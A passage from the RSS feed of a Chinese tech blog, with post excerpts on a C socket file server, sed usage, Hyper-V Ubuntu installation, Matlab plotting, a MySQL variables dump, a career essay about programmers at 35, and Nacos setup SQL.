/etc/sysconfig/i18n (centos6) 以修改中文编码为例&#xA;sed -i &#39;s/en_US/zh_CN/g&#39; /etc/locale.conf (centos7)&#xA;13、写出OSI参考模型&#xA;14、.如何用sed删除文件中的空行(包括空格组成的空行)&#xA;sed &#39;/^[[:space:]]$/d&#39; file</description>
    </item>
    <item>
      <title>文件服务器——Client文件夹</title>
      <link>https://bchobby.github.io/posts/85ed7148cef0579fc7a7bf9b92cc4d05/</link>
      <pubDate>Fri, 30 Apr 2021 00:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85ed7148cef0579fc7a7bf9b92cc4d05/</guid>
      <description>1.client.c&#xA;#define _GNU_SOURCE #include &amp;lt;func.h&amp;gt; int recvCycle(int sfd,void *buf,int dateLen); int main(int argc,char *argv[]) { //申请套接字文件描述符 int sfd = socket(AF_INET,SOCK_STREAM,0); ERROR_CHECK(sfd,-1,&#34;socket&#34;); //链接套接字和IP端口 struct sockaddr_in saddr; saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(atoi(argv[2])); //建立连接 int ret = connect(sfd,(struct sockaddr *)&amp;amp;saddr,sizeof(struct sockaddr)); ERROR_CHECK(ret,-1,&#34;connect&#34;); client_Screen(sfd); char buf[1024]={0}; //接收文件名 int dateLen = 0; recv(sfd,&amp;amp;dateLen,4,0); recv(sfd,buf,dateLen,0); int fd = open(buf,O_RDWR|O_CREAT,0666); //接收文件总长度 off_t fileSize = 0; off_t recvLen = 0; recv(sfd,&amp;amp;dateLen,4,0); recv(sfd,&amp;amp;fileSize,dateLen,0); printf(&#34;dateLen = %d,fileSize = %ld\n&#34;</description>
    </item>
    <item>
      <title>文件服务器——src文件夹</title>
      <link>https://bchobby.github.io/posts/9a44abc9fcce1614ccb7e73d88d6ab2d/</link>
      <pubDate>Thu, 29 Apr 2021 23:47:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a44abc9fcce1614ccb7e73d88d6ab2d/</guid>
      <description>1.main.c文件&#xA;要做的事有：&#xA;1.初始化客户登录信息表&#xA;2.检查启动参数和捕捉线程退出信号&#xA;3.定义和初始化线程池&#xA;4.初始化TCP&#xA;5.创建epoll和用epoll监听sfd&#xA;6.进入功能界面&#xA;6.(1)判断退出标志位是否改为1，是就进入退出程序&#xA;6.(2)若不退出程序，用while(1)监听epoll&#xA;6.(3)若现在没有新的sfd连接服务器，给新连接的sfd先来登录，主线程承接登录验证作用&#xA;#include &#34;../include/queue.h&#34; #include &#34;../include/head.h&#34; #include &#34;../include/threadpool.h&#34; #include &#34;../include/mainthread.h&#34; #include &#34;../include/childthread.h&#34; #include &#34;../include/register_login.h&#34; //设置全局变量退出，用来表示主线程的退出标志 int exitflag = 0; void sigFunc(int sigNum) { printf(&#34;signal%d is coming\n&#34;,sigNum); //主线程收到退出信号，修改退出标志位值，0代表正常运行，1代表退出 exitflag = 1; } int main(int argc,char *argv[]) { //1.初始化客户登录信息表,结构体login_Flag_List存储连接的sfd和连接状态 memset(login_Flag_List,0,sizeof(Login_Flag_t)*CLIENT_NUM); //2.检查启动参数和捕捉线程退出信号 // ./main ip port threadNum ARGS_CHECK(argc,4); //捕捉信号，SIGUSR1为线程退出发出的信号 signal(SIGUSR1,sigFunc); //接受开启的线程数 int threadNum = atoi(argv[3]); //3.定义和初始化线程池 ThreadPool_t threadPool; memset(&amp;amp;threadPool,0,sizeof(threadPool)); //初始化线程池 threadPoolInit(&amp;amp;threadPool,threadNum); //启动线程池 threadPoolStart(&amp;amp;threadPool); //4.</description>
    </item>
    <item>
      <title>Hyper-V - 安装 Ubuntu 20.04</title>
      <link>https://bchobby.github.io/posts/575394bacf19c793d7e8fe4e2ac93cf9/</link>
      <pubDate>Thu, 29 Apr 2021 22:21:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/575394bacf19c793d7e8fe4e2ac93cf9/</guid>
      <description>文章目录 环境前言步骤创建虚拟机安装系统 环境 Windows 10 专业版&#xA;版本号 2004&#xA;操作系统版本 19041.867&#xA;Hyper-V 管理器&#xA;版本 10.0.19041.1&#xA;Ubuntu 20.04&#xA;前言 在 Win10 的 Hyper-V 虚拟机上安装 Ubuntu 20.04.&#xA;步骤 创建虚拟机 打开 Hyper-V 管理器；&#xA;新建虚拟机&#xA;指定名称和位置（位置这里我使用默认）&#xA;指定代数&#xA;分配内存&#xA;配置网络&#xA;连接虚拟硬盘&#xA;安装选项，配置 ISO 安装文件&#xA;完成&#xA;安装系统 连接虚拟机&#xA;启动虚拟机&#xA;选择安装提示语言&#xA;安装系统&#xA;选择系统语言&#xA;键盘布局&#xA;最小安装&#xA;安装类型&#xA;写入确认&#xA;选择时区&#xA;创建账号&#xA;安装完毕&#xA;登录系统</description>
    </item>
    <item>
      <title>文件服务器——include文件夹</title>
      <link>https://bchobby.github.io/posts/f1a4fe94572f3e1946719c7f9ccbca12/</link>
      <pubDate>Thu, 29 Apr 2021 21:33:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1a4fe94572f3e1946719c7f9ccbca12/</guid>
      <description>1.childthread.h&#xA;#ifndef __CHILDTHREAD_H__ #define __CHILDTHREAD_H__ #include &#34;head.h&#34; int transFile(int clientfd); void *threadFunc(void *p); #endif 2.head.h&#xA;#ifndef __HEAD_H__ #define __HEAD_H__ #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;dirent.h&amp;gt; #include &amp;lt;pwd.h&amp;gt; #include &amp;lt;grp.h&amp;gt; #include &amp;lt;time.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #include &amp;lt;sys/mman.h&amp;gt; #include &amp;lt;sys/select.h&amp;gt; #include &amp;lt;sys/time.h&amp;gt; #include &amp;lt;sys/wait.h&amp;gt; #include &amp;lt;sys/ipc.h&amp;gt; #include &amp;lt;sys/shm.h&amp;gt; #include &amp;lt;syslog.h&amp;gt; #include &amp;lt;sys/sem.h&amp;gt; #include &amp;lt;sys/msg.h&amp;gt; #include &amp;lt;signal.h&amp;gt; #include &amp;lt;pthread.h&amp;gt; #include &amp;lt;sys/socket.h&amp;gt; #include &amp;lt;netinet/in.h&amp;gt; #include &amp;lt;arpa/inet.h&amp;gt; #include &amp;lt;netdb.</description>
    </item>
    <item>
      <title>Matlab作图后的各种调整方法——线条、坐标、标题、图例</title>
      <link>https://bchobby.github.io/posts/91274f1840a44c2658e460f943f0e9e4/</link>
      <pubDate>Thu, 29 Apr 2021 21:29:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91274f1840a44c2658e460f943f0e9e4/</guid>
      <description>Matlab作图后的各种调整方法——线条、坐标、标题、图例 文章目录 Matlab作图后的各种调整方法——线条、坐标、标题、图例一 ， 写在前面1.整个图窗 Figure（gcf）2.我们使用命令做出的线条 Line，例如plot命令3.坐标轴 Axes (gca) 二 ， 改变图中线条的粗细、颜色、标记等1. 线条颜色：&#39;Color&#39;2. 线型：&#39;LineStyle&#39;3. 线宽：&#39;LineWidth&#39;4. 标记符号：&#39;Marker&#39;5. 标记轮廓颜色：&#39;MarkerEdgeColor&#39; 和标记填充颜色：&#39;MarkerFaceColor&#39;6.标记大小：&#39;MarkerSize&#39;7. 标记所在数据点的索引：&#39;MarkerIndices&#39; 三 ， 那么指定对象名有什么用呢四 ， 改变坐标轴的名称以及特性1. 设置坐标轴名称2. 改变坐标轴特性2.1 改变字体大小：&#39;FontSize&#39;2.2 改变字符粗细：&#39;FontWeight&#39;2.3 改变字体名称：&#39;FontName&#39;2.4 改变文本颜色：&#39;Color&#39; 五 ，改变坐标轴的刻度以及范围1. 设置或查询x轴刻度值：&#39;xtick&#39;2. 设置或查询x轴标签：&#39;xticklabel&#39;3. 使坐标轴刻度更精细：&#39;xminortick&#39;4. 设置坐标轴范围：&#39;xlim&#39;5. 设置网格可见性：grid on/off6. 设置边框可见性：box on/off7. 设置坐标轴可见性：axis on/off8. 其他坐标形式的设置 六 ， 给绘制的图像设置标题七 ， 给图形增加图例1. 增加图例2. 改变字体大小：&#39;FontSize&#39;3. 改变字体名称：&#39;FontName&#39;4. 改变字符粗细：&#39;FontWeight&#39;5. 改变文本颜色：&#39;TextColor&#39;6. 改变图例框填充颜色：&#39;Color&#39;7.改变图例所在的位置：&#39;Location&#39;8.任意改变图例所在的位置和大小：&#39;Position&#39;9.改变图例的堆叠方向：&#39;Orientation&#39;10.改变图例框的可见性：&#39;boxon&#39;/&#39;boxoff&#39;11.改变图例的可见性：&#39;hide&#39;/&#39;show&#39; 一 ， 写在前面 首先介绍一个概念，我们在Matlab中作的图分为三个部分，分别是：&#xA;1.整个图窗 Figure（gcf） 2.我们使用命令做出的线条 Line，例如plot命令 3.坐标轴 Axes (gca) 所以看似我们使用plot命令画出了一张图，实际上我们只是改变了这张图的一个部分。&#xA;在Matlab中，我们可以分别对这三个部分进行改变，其中整个图窗的默认对象名是 gcf，坐标轴的默认对象名是 gca，而线条通常是自己绘图时手动定义的，例如：</description>
    </item>
    <item>
      <title>MySQL - 查看 / 修改配置参数（Global Variables）</title>
      <link>https://bchobby.github.io/posts/ddb03fa6e378595c073f8e28017ead8b/</link>
      <pubDate>Thu, 29 Apr 2021 20:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddb03fa6e378595c073f8e28017ead8b/</guid>
      <description>修改配置参数 采用 set GLOBAL 命令，如：set GLOBAL net_write_timeout=120;在Mysql的配置文件中对参数值进行修改，之后重启数据库服务即可 查看配置参数 命令：show global variables;如表所示 Variable_nameValueactivate_all_roles_on_loginOFFauto_generate_certsONauto_increment_increment1auto_increment_offset1autocommitONautomatic_sp_privilegesONavoid_temporal_upgradeOFFback_log80basedirC:\Program Files\MySQL\MySQL Server 8.0\big_tablesOFFbind_address*binlog_cache_size32768binlog_checksumCRC32binlog_direct_non_transactional_updatesOFFbinlog_error_actionABORT_SERVERbinlog_expire_logs_seconds2592000binlog_formatROWbinlog_group_commit_sync_delay0binlog_group_commit_sync_no_delay_count0binlog_gtid_simple_recoveryONbinlog_max_flush_queue_time0binlog_order_commitsONbinlog_row_imageFULLbinlog_row_metadataMINIMALbinlog_row_value_options binlog_rows_query_log_eventsOFFbinlog_stmt_cache_size32768binlog_transaction_dependency_history_size25000binlog_transaction_dependency_trackingCOMMIT_ORDERblock_encryption_modeaes-128-ecbbulk_insert_buffer_size8388608caching_sha2_password_auto_generate_rsa_keysONcaching_sha2_password_private_key_pathprivate_key.pemcaching_sha2_password_public_key_pathpublic_key.pemcharacter_set_clientutf8mb4character_set_connectionutf8mb4character_set_databaseutf8mb4character_set_filesystembinarycharacter_set_resultsutf8mb4character_set_serverutf8mb4character_set_systemutf8character_sets_dirC:\Program Files\MySQL\MySQL Server 8.0\share\charsets\check_proxy_usersOFFcollation_connectionutf8mb4_0900_ai_cicollation_databaseutf8mb4_0900_ai_cicollation_serverutf8mb4_0900_ai_cicompletion_typeNO_CHAINconcurrent_insertAUTOconnect_timeout10core_fileOFFcte_max_recursion_depth1000datadirD:\ProgramData\MySQL\MySQL Server 8.0\Data\default_authentication_plugincaching_sha2_passworddefault_collation_for_utf8mb4utf8mb4_0900_ai_cidefault_password_lifetime0default_storage_engineInnoDBdefault_tmp_storage_engineInnoDBdefault_week_format0delay_key_writeONdelayed_insert_limit100delayed_insert_timeout300delayed_queue_size1000disabled_storage_engines disconnect_on_expired_passwordONdiv_precision_increment4end_markers_in_jsonOFFenforce_gtid_consistencyOFFeq_range_index_dive_limit200event_schedulerONexpire_logs_days0explicit_defaults_for_timestampONflushOFFflush_time0foreign_key_checksONft_boolean_syntax+ -&amp;gt;&amp;lt;()~*:&#34;&#34;&amp;amp;|ft_max_word_len84ft_min_word_len4ft_query_expansion_limit20ft_stopword_file(built-in)general_logOFFgeneral_log_fileNBSP.loggroup_concat_max_len1024gtid_executed384632e4-e18f-11e8-a8b6-00163e2e5672:1-198655,&#xA;385a0fee-e18f-11e8-a276-00163e10a665:1-34714384gtid_executed_compression_period1000gtid_modeOFFgtid_owned gtid_purged384632e4-e18f-11e8-a8b6-00163e2e5672:1-198655,&#xA;385a0fee-e18f-11e8-a276-00163e10a665:1-34714384have_compressYEShave_dynamic_loadingYEShave_geometryYEShave_opensslYEShave_profilingYEShave_query_cacheNOhave_rtree_keysYEShave_sslYEShave_statement_timeoutYEShave_symlinkDISABLEDhistogram_generation_max_mem_size20000000host_cache_size279hostnamenbspinformation_schema_stats_expiry86400init_connect init_file init_slave innodb_adaptive_flushingONinnodb_adaptive_flushing_lwm10innodb_adaptive_hash_indexONinnodb_adaptive_hash_index_parts8innodb_adaptive_max_sleep_delay150000innodb_api_bk_commit_interval5innodb_api_disable_rowlockOFFinnodb_api_enable_binlogOFFinnodb_api_enable_mdlOFFinnodb_api_trx_level0innodb_autoextend_increment64innodb_autoinc_lock_mode2innodb_buffer_pool_chunk_size8388608innodb_buffer_pool_dump_at_shutdownONinnodb_buffer_pool_dump_nowOFFinnodb_buffer_pool_dump_pct25innodb_buffer_pool_filenameib_buffer_poolinnodb_buffer_pool_instances1innodb_buffer_pool_load_abortOFFinnodb_buffer_pool_load_at_startupONinnodb_buffer_pool_load_nowOFFinnodb_buffer_pool_size8388608innodb_change_buffer_max_size25innodb_change_bufferingallinnodb_checksum_algorithmcrc32innodb_cmp_per_index_enabledOFFinnodb_commit_concurrency0innodb_compression_failure_threshold_pct5innodb_compression_level6innodb_compression_pad_pct_max50innodb_concurrency_tickets5000innodb_data_file_pathibdata1:12M:autoextendinnodb_data_home_dir innodb_deadlock_detectONinnodb_dedicated_serverOFFinnodb_default_row_formatdynamicinnodb_directories innodb_disable_sort_file_cacheOFFinnodb_doublewriteONinnodb_fast_shutdown1innodb_file_per_tableONinnodb_fill_factor100innodb_flush_log_at_timeout1innodb_flush_log_at_trx_commit1innodb_flush_methodunbufferedinnodb_flush_neighbors0innodb_flush_syncONinnodb_flushing_avg_loops30innodb_force_load_corruptedOFFinnodb_force_recovery0innodb_ft_aux_table innodb_ft_cache_size8000000innodb_ft_enable_diag_printOFFinnodb_ft_enable_stopwordONinnodb_ft_max_token_size84innodb_ft_min_token_size3innodb_ft_num_word_optimize2000innodb_ft_result_cache_limit2000000000innodb_ft_server_stopword_table innodb_ft_sort_pll_degree2innodb_ft_total_cache_size640000000innodb_ft_user_stopword_table innodb_io_capacity200innodb_io_capacity_max2000innodb_lock_wait_timeout50innodb_log_buffer_size1048576innodb_log_checksumsONinnodb_log_compressed_pagesONinnodb_log_file_size50331648innodb_log_files_in_group2innodb_log_group_home_dir.\innodb_log_spin_cpu_abs_lwm80innodb_log_spin_cpu_pct_hwm50innodb_log_wait_for_flush_spin_hwm400innodb_log_write_ahead_size8192innodb_lru_scan_depth1024innodb_max_dirty_pages_pct90.000000innodb_max_dirty_pages_pct_lwm10.000000innodb_max_purge_lag0innodb_max_purge_lag_delay0innodb_max_undo_log_size1073741824innodb_monitor_disable innodb_monitor_enable innodb_monitor_reset innodb_monitor_reset_all innodb_old_blocks_pct37innodb_old_blocks_time1000innodb_online_alter_log_max_size134217728innodb_open_files300innodb_optimize_fulltext_onlyOFFinnodb_page_cleaners1innodb_page_size16384innodb_print_all_deadlocksOFFinnodb_print_ddl_logsOFFinnodb_purge_batch_size300innodb_purge_rseg_truncate_frequency128innodb_purge_threads4innodb_random_read_aheadOFFinnodb_read_ahead_threshold56innodb_read_io_threads4innodb_read_onlyOFFinnodb_redo_log_encryptOFFinnodb_replication_delay0innodb_rollback_on_timeoutOFFinnodb_rollback_segments128innodb_sort_buffer_size1048576innodb_spin_wait_delay6innodb_stats_auto_recalcONinnodb_stats_include_delete_markedOFFinnodb_stats_methodnulls_equalinnodb_stats_on_metadataOFFinnodb_stats_persistentONinnodb_stats_persistent_sample_pages20innodb_stats_transient_sample_pages8innodb_status_outputOFFinnodb_status_output_locksOFFinnodb_strict_modeONinnodb_sync_array_size1innodb_sync_spin_loops30innodb_table_locksONinnodb_temp_data_file_pathibtmp1:12M:autoextendinnodb_thread_concurrency25innodb_thread_sleep_delay0innodb_tmpdir innodb_undo_directory.\innodb_undo_log_encryptOFFinnodb_undo_log_truncateONinnodb_undo_tablespaces2innodb_use_native_aioONinnodb_version8.0.12innodb_write_io_threads4interactive_timeout28800internal_tmp_disk_storage_engineInnoDBinternal_tmp_mem_storage_engineTempTablejoin_buffer_size262144keep_files_on_createOFFkey_buffer_size8388608key_cache_age_threshold300key_cache_block_size1024key_cache_division_limit100keyring_operationsONlarge_files_supportONlarge_page_size0large_pagesOFFlc_messagesen_USlc_messages_dirC:\Program Files\MySQL\MySQL Server 8.0\share\lc_time_namesen_USlicenseGPLlocal_infileOFFlock_wait_timeout31536000log_binONlog_bin_basenameD:\ProgramData\MySQL\MySQL Server 8.0\Data\binloglog_bin_indexD:\ProgramData\MySQL\MySQL Server 8.0\Data\binlog.indexlog_bin_trust_function_creatorsOFFlog_bin_use_v1_row_eventsOFFlog_error.\NBSP.errlog_error_serviceslog_filter_internal; log_sink_internallog_error_verbosity2log_outputFILElog_queries_not_using_indexesOFFlog_slave_updatesONlog_slow_admin_statementsOFFlog_slow_slave_statementsOFFlog_statements_unsafe_for_binlogONlog_syslogONlog_syslog_tag log_throttle_queries_not_using_indexes0log_timestampsUTClong_query_time10.000000low_priority_updatesOFFlower_case_file_systemONlower_case_table_names1mandatory_roles master_info_repositoryTABLEmaster_verify_checksumOFFmax_allowed_packet4194304max_binlog_cache_size18446744073709547520max_binlog_size1073741824max_binlog_stmt_cache_size18446744073709547520max_connect_errors100max_connections151max_delayed_threads20max_digest_length1024max_error_count1024max_execution_time0max_heap_table_size16777216max_insert_delayed_threads20max_join_size18446744073709551615max_length_for_sort_data4096max_points_in_geometry65536max_prepared_stmt_count16382max_relay_log_size0max_seeks_for_key4294967295max_sort_length1024max_sp_recursion_depth0max_user_connections0max_write_lock_count4294967295metadata_locks_cache_size1024metadata_locks_hash_instances8min_examined_row_limit0myisam_data_pointer_size6myisam_max_sort_file_size107374182400myisam_mmap_size18446744073709551615myisam_recover_optionsOFFmyisam_repair_threads1myisam_sort_buffer_size8388608myisam_stats_methodnulls_unequalmyisam_use_mmapOFFmysql_native_password_proxy_usersOFFmysqlx_bind_address*mysqlx_connect_timeout30mysqlx_document_id_unique_prefix0mysqlx_idle_worker_thread_timeout60mysqlx_interactive_timeout28800mysqlx_max_allowed_packet67108864mysqlx_max_connections100mysqlx_min_worker_threads2mysqlx_port33060mysqlx_port_open_timeout0mysqlx_read_timeout30mysqlx_socket/tmp/mysqlx.sockmysqlx_ssl_ca mysqlx_ssl_capath mysqlx_ssl_cert mysqlx_ssl_cipher mysqlx_ssl_crl mysqlx_ssl_crlpath mysqlx_ssl_key mysqlx_wait_timeout28800mysqlx_write_timeout60named_pipeOFFnet_buffer_length16384net_read_timeout30net_retry_count10net_write_timeout60newOFFngram_token_size2offline_modeOFFoldOFFold_alter_tableOFFopen_files_limit6209optimizer_prune_level1optimizer_search_depth62optimizer_switchindex_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loosescan=on,firstmatch=on,duplicateweedout=on,subquery_materialization_cost_based=on,use_index_extensions=on,condition_fanout_filter=on,derived_merge=on,use_invisible_indexes=offoptimizer_traceenabled=off,one_line=offoptimizer_trace_featuresgreedy_search=on,range_optimizer=on,dynamic_range=on,repeated_subselect=onoptimizer_trace_limit1optimizer_trace_max_mem_size1048576optimizer_trace_offset-1parser_max_mem_size18446744073709551615password_history0password_reuse_interval0performance_schemaONperformance_schema_accounts_size-1performance_schema_digests_size10000performance_schema_error_size4392performance_schema_events_stages_history_long_size10000performance_schema_events_stages_history_size10performance_schema_events_statements_history_long_size10000performance_schema_events_statements_history_size10performance_schema_events_transactions_history_long_size10000performance_schema_events_transactions_history_size10performance_schema_events_waits_history_long_size10000performance_schema_events_waits_history_size10performance_schema_hosts_size-1performance_schema_max_cond_classes80performance_schema_max_cond_instances-1performance_schema_max_digest_length1024performance_schema_max_digest_sample_age60performance_schema_max_file_classes80performance_schema_max_file_handles32768performance_schema_max_file_instances-1performance_schema_max_index_stat-1performance_schema_max_memory_classes450performance_schema_max_metadata_locks-1performance_schema_max_mutex_classes300performance_schema_max_mutex_instances-1performance_schema_max_prepared_statements_instances-1performance_schema_max_program_instances-1performance_schema_max_rwlock_classes60performance_schema_max_rwlock_instances-1performance_schema_max_socket_classes10performance_schema_max_socket_instances-1performance_schema_max_sql_text_length1024performance_schema_max_stage_classes150performance_schema_max_statement_classes212performance_schema_max_statement_stack10performance_schema_max_table_handles-1performance_schema_max_table_instances-1performance_schema_max_table_lock_stat-1performance_schema_max_thread_classes100performance_schema_max_thread_instances-1performance_schema_session_connect_attrs_size512performance_schema_setup_actors_size-1performance_schema_setup_objects_size-1performance_schema_users_size-1persisted_globals_loadONpid_fileD:\ProgramData\MySQL\MySQL Server 8.0\Data\nbsp.pidplugin_dirC:\Program Files\MySQL\MySQL Server 8.0\lib\plugin\port3306preload_buffer_size32768profilingOFFprofiling_history_size15protocol_version10query_alloc_block_size8192query_prealloc_size8192range_alloc_block_size4096range_optimizer_max_mem_size8388608rbr_exec_modeSTRICTread_buffer_size8192read_onlyOFFread_rnd_buffer_size1regexp_stack_limit8000000regexp_time_limit32relay_lognbsp-relay-binrelay_log_basenameD:\ProgramData\MySQL\MySQL Server 8.0\Data\nbsp-relay-binrelay_log_indexD:\ProgramData\MySQL\MySQL Server 8.0\Data\nbsp-relay-bin.indexrelay_log_info_filerelay-log.inforelay_log_info_repositoryTABLErelay_log_purgeONrelay_log_recoveryOFFrelay_log_space_limit0report_host report_password report_port3306report_user require_secure_transportOFFrpl_read_size8192rpl_stop_slave_timeout31536000schema_definition_cache256secure_file_privC:\ProgramData\MySQL\MySQL Server 8.</description>
    </item>
    <item>
      <title>现在网上流传的 35 岁很多人会失业，究竟是危言耸听，还是真实存在的？</title>
      <link>https://bchobby.github.io/posts/4d316ea646d7d3706c69401e748488cc/</link>
      <pubDate>Thu, 29 Apr 2021 16:23:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d316ea646d7d3706c69401e748488cc/</guid>
      <description>昨天BOSS直聘上有个47岁的软件开发人员投简历，应聘android应用开发工程师，还是有点诧异的。&#xA;于是问他，这是个技术岗位，他是否偏重管理岗，项目经理什么的。&#xA;他说他偏技术，是技术经理偏重技术的。&#xA;我以为遇到个全才，毕竟95年毕业的本科生，211学校。&#xA;当年大学没有扩招，应该是天之骄子了。&#xA;工作25年了，经验应该很丰富从简历看，99年开始在一家日企工作到今年1月，已经21年了。&#xA;90年代日企应该是非常吃香的。&#xA;我估计他在里面工作21年，是想干到退休的，没想到被裁员，还是在47岁这个尴尬年龄，然后长达半年没有工作。&#xA;今天面试，结果技术稀松，管理能力也没感觉到有什么突出能力。&#xA;如果这是一个职场新人，那么还是勉强认为是可以培养的。但是47岁的职场老将了。&#xA;一般公司是不会考虑培养的问题了，只会进来就给任务让其承担起来，而能力如果不够，是不给成长机会的。&#xA;而为什么给他面试机会，一者公司非常缺人，二者看他简历，跟我们公司做的契合度比较高。工作经验可以帮助其迅速上手，如果他多年一直没有放下技术，保持技术敏感和积累，来了就能独当一面的。可惜并没有达到预期。&#xA;如果随时间的变化，如果只增长了年龄，没有能力的提升。竞争力是会变差的，但是如果年龄增加，随之能力不断提升。年龄增大，也还是会有公司给你机会，毕竟经验也是一种财富。怕就怕在能力没有提升，多年停滞。&#xA;做好技术储备才是当下最重要的事 职业现状我想大家心里也清楚，没办法变改职业，就只能想办法改变自己。自我审视，持续学习，做好规划，以10~20年的职业生涯为基础，未雨绸缪。不要等到40岁还在到处投简历面试，家里等着米下锅，那就太被动了。&#xA;做为一名Android开发者，我想分享一下这些年来，我对于技术一些归纳和总结，和自己对作为一名Android高级开发者需要掌握那些技能的笔记分享，希望能帮助到有心在技术这条道路上一路走到黑的朋友！&#xA;1.2020大厂面试高频知识点 一、图片&#xA;二、网络和安全机制&#xA;三、数据库&#xA;四、插件化、模块化、组件化、热修复、增量更新、Gradle&#xA;五、架构设计和设计模式&#xA;六、性能优化&#xA;七、Android Framework&#xA;八、Android优秀三方库源码&#xA;2.Jetpack架构组件从入门到精通 Android Jetpack - NavigationAndroid Jetpack - Data BindingAndroid Jetpack - ViewModel &amp;amp; LiveDataAndroid Jetpack - RoomAndroid Jetpack - PagingAndroid Jetpack - WorkMangerAndroid Jetpack架构组件之LifecycleAndroid Jetpack Compose 最全上手指南 3.Framework精编内核解析 主要内容包含：&#xA;深入解析Binder深入解析HandlerDalvik VM 进程系统深入解析 WMSPackagerManagerService 4.Kotlin强化实战（附Demo） 第一章 Kotlin入门教程&#xA;第二章 Kotlin 实战避坑指南&#xA;第三章 项目实战《Kotlin Jetpack 实战》</description>
    </item>
    <item>
      <title>VS调试时 将控制台的打印信息重定向到本地文件</title>
      <link>https://bchobby.github.io/posts/546f2c5de26d179614578b12497d8619/</link>
      <pubDate>Thu, 29 Apr 2021 15:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/546f2c5de26d179614578b12497d8619/</guid>
      <description>选择项目 右键 属性 调试选项 命令参数 &amp;gt;log.txt即可&#xA;同样的操作也适用于 输入参数的时候，可以使用 &amp;lt; input.txt 即可</description>
    </item>
    <item>
      <title>SpringCloudAlibaba&#43;dubbo&#43;Nacos的使用</title>
      <link>https://bchobby.github.io/posts/a3b57356fbc131395c72dde55995830d/</link>
      <pubDate>Thu, 29 Apr 2021 15:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3b57356fbc131395c72dde55995830d/</guid>
      <description>Nacos的使用 前言： 本次主要介绍nacos的使用，包括服务发现和注册中心。如有错误，请指正 微服务架构 springboot、springcloud、nacos、dubbo、mybatis-plus 一：nacos定义 Nacos是阿里的一个开源产品，它是针对微服务架构中的服务发现、配置管理、服务治理的综合型解决方案。 官方介绍是这样的：&#xA;Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您实现动态服务 发现、服务配置管理、服务及流量管理。 Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构的服务基础设施。 官网地址：https://nacos.io.&#xA;二：nacos特性 Nacos主要提供以下四大功能：目前只了解前俩种 1. 服务发现与服务健康检查 Nacos使服务更容易注册，并通过DNS或HTTP接口发现其他服务，Nacos还提供服务的实时健康检查，以防 止向不健康的主机或服务实例发送请求。 2. 动态配置管理 动态配置服务允许您在所有环境中以集中和动态的方式管理所有服务的配置。Nacos消除了在更新配置时重新 部署应用程序，这使配置的更改更加高效和灵活。 3. 动态DNS服务 4. 服务和元数据管理 三：开始 安装nacos server 1.官网下载 windows版本&#xA;访问地址： http://127.0.0.1:8848/nacos 初始账户密码都是：nacos&#xA;2.mysql安装。省略&#xA;3.创建数据库：nacos_config，下面是sql&#xA;/******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = config_info */ /******************************************/ CREATE TABLE `config_info` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `data_id` varchar(255) NOT NULL COMMENT &#39;data_id&#39;, `group_id` varchar(255) DEFAULT NULL, `content` longtext NOT NULL COMMENT &#39;content&#39;, `md5` varchar(32) DEFAULT NULL COMMENT &#39;md5&#39;, `gmt_create` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;创建时间&#39;, `gmt_modified` datetime NOT NULL DEFAULT &#39;2010-05-05 00:00:00&#39; COMMENT &#39;修改时间&#39;, `src_user` text COMMENT &#39;source user&#39;, `src_ip` varchar(20) DEFAULT NULL COMMENT &#39;source ip&#39;, `app_name` varchar(128) DEFAULT NULL, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;租户字段&#39;, `c_desc` varchar(256) DEFAULT NULL, `c_use` varchar(64) DEFAULT NULL, `effect` varchar(64) DEFAULT NULL, `type` varchar(64) DEFAULT NULL, `c_schema` text, PRIMARY KEY (`id`), UNIQUE KEY `uk_configinfo_datagrouptenant` (`data_id`,`group_id`,`tenant_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;config_info&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = config_info_aggr */ /******************************************/ CREATE TABLE `config_info_aggr` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `data_id` varchar(255) NOT NULL COMMENT &#39;data_id&#39;, `group_id` varchar(255) NOT NULL COMMENT &#39;group_id&#39;, `datum_id` varchar(255) NOT NULL COMMENT &#39;datum_id&#39;, `content` longtext NOT NULL COMMENT &#39;内容&#39;, `gmt_modified` datetime NOT NULL COMMENT &#39;修改时间&#39;, `app_name` varchar(128) DEFAULT NULL, `tenant_id` varchar(128) DEFAULT &#39;&#39; COMMENT &#39;租户字段&#39;, PRIMARY KEY (`id`), UNIQUE KEY `uk_configinfoaggr_datagrouptenantdatum` (`data_id`,`group_id`,`tenant_id`,`datum_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT=&#39;增加租户字段&#39;; /******************************************/ /* 数据库全名 = nacos_config */ /* 表名称 = config_info_beta */ /******************************************/ CREATE TABLE `config_info_beta` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `data_id` varchar(255) NOT NULL COMMENT &#39;data_id&#39;, 